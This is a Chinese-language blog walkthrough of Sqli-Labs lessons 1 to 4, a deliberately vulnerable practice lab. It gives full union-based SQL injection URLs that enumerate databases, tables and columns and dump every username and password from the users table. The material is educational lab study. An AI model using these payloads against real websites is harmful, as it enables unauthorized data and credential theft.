zoukankan      html  css  js  c++  java
  • Sqli-Labs less1-4

    首先,记录一下基础知识,可能不全:

    几个常用的函数:

    1.version()   --Mysql版本

    2.user()  --数据库用户名

    3.database()  --数据库名

    4.@@datadir  --数据库安装路径

    5.@@version_compile_os  --操作系统的版本

    常用的语句(重要):

    1.查库:select schema_name from information_schema.schemata

    2.查表:select table_name from information_schema.tables where table_schema='security'(此表名用的时候大多数转为16进制)

    3.查列:select column_name from information_schema.columns where table_name='users'

    4.查字段:select username,password from security.users

    字符串连接函数:

    1.concat(字符串1,字符串2)   --没有分隔符的连接字符串

    2.concat(-/~,字符串1,字符串2)  --含有分隔符的连接字符串

    3.group_concat(字符串1,字符串2)    --连接一个组的所有字符串,并用,分隔每一个字符。

    注释符:#  --+  --空

    less-1

    开始之前,为了方便笔记,我在网页源码的数据库部分加了两行代码,第一行意思是输出数据库语句,第二行是换行符

    输入?id=1',出现报错:http://192.168.5.100/sqli-labs/Less-1/?id=1'

     

    输入?id=1,正常,说明存在字符型注入。http://192.168.5.100/sqli-labs/Less-1/?id=1

    接下来爆库,爆表,爆列,查询;

    用order by语句去猜列数,以下用二分法查到列数为三:http://192.168.5.100/sqli-labs/Less-1/?id=1' order by 8 --+

     http://192.168.5.100/sqli-labs/Less-1/?id=1' order by 4 --+

     http://192.168.5.100/sqli-labs/Less-1/?id=1' order by 3 --+

     

    用union select 联合查询去回显数据:

    这里正确的查询是图2,如果按照图1查询,因为limit0.1的限制,只能输出1个,所以输入id=-1或者0让他只能查询到第二行数据才可以输出。

     http://192.168.5.100/sqli-labs/Less-1/?id=1' union select 1,2,3 %23

     http://192.168.5.100/sqli-labs/Less-1/?id=0' union select 1,2,3 %23

     上面的操作结束以后,判断了回显位置,后面就可以利用这两列回显想要的数据

    查库名:这里是3作为回显位置,语句意思是从数据库中查询数据库的名字,group concat是合并成一行输出

    http://192.168.5.100/sqli-labs/Less-1/?id=0' union select 1,2,group_concat(schema_name) from information_schema.schemata %23

    查表名:我们要用的数据库是security 最后查询得到数据库的表信息。注:这里推荐使用图二的16进制,不用考虑单引号的问题,得到的数据是相同的

    http://192.168.5.100/sqli-labs/Less-1/?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 %23

     

    查询users表的字段:(这里不知道数据库只有最后三个字段,为啥回显出这么多字段,暂且留一个疑问)

    查询字段中的内容:这里推荐使用图三中的语句查询,可以一次性查询多个字段内容,并且中间有分隔符

    http://192.168.5.100/sqli-labs/Less-1/?id=0' union select 1,2,group_concat(concat_ws('-',username,password)) from security.users --+

     

     

     less-2


    通过输入?id=1,显示正确,可以知道为数字型注入,不用考虑闭合sql语句,比第一关还简单:

    以上步骤相同:

    最后的得到用户名密码:http://192.168.5.100/sqli-labs/Less-2/?id=0 union select 1,2,group_concat(concat_ws('-',username,password)) from security.users --+

     less-3

     这一关通过输入?id=1‘出现报错,不加单引号可以显示,可以推测是有符号包裹的

    通过输出sql语句或者观察源码可以看见包裹形式为(’‘),所以要通过’)闭合sql语句。

    所以以上步骤也是相同:

    最后的得到用户名密码:http://192.168.5.100/sqli-labs/Less-3/?id=0') union select 1,2,group_concat(concat_ws('-',username,password)) from security.users --+

    less-4

    同理,我们可以根据输出的sql语句或者观察源代码或者测试得出格式为(”“),所以需要闭合的语句变成了”)

    最后得到用户名和密码:http://192.168.5.100/sqli-labs/Less-4/?id=0") union select 1,2,group_concat(concat_ws('-',username,password)) from security.users --+

    以上就是1-4关,总结:

    基本步骤:

    1. http://127.0.0.1/sqli/Less-4/?id=1"查看是否有注入

    2. http://127.0.0.1/sqli/Less-4/?id=1”) order by 3--+查看有多少列

    3. http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2, group_concat(schema_name) from information_schema.schemata --+查看所有数据库

    4. http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+查看所有的表

    5. http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2, group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+查看所有的列信息

    6. http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2, group_concat(concat_ws(0x7e,username,password)) from security.users --+直接可以得到所有的账号和密码,并且使用~符号进行分割。

    第一关:id=’1‘

    第二关:id=1

    第三关:id=(’1‘)

    第四关:id= (“1”)

    只是需要闭合的sql语句不同,其他相同。

  • 相关阅读:
    Java代码中,如何监控Mysql的binlog?
    springcloud dashboard控制面板上的各项指标详解(图文并茂)
    matlab练习程序(图优化)
    C# class模板文件路径
    PostgreSQL安全加固
    linux下安装7z命令及7z命令的使用
    python中for......else......的使用
    docker端口映射或启动容器时报错 driver failed programming external connectivity on endpoint quirky_allen
    python:关于py文件之间相互import的问题
    nginx 80端口跳转到443
  • 原文地址:https://www.cnblogs.com/hzk001/p/12203394.html
Copyright © 2011-2022 走看看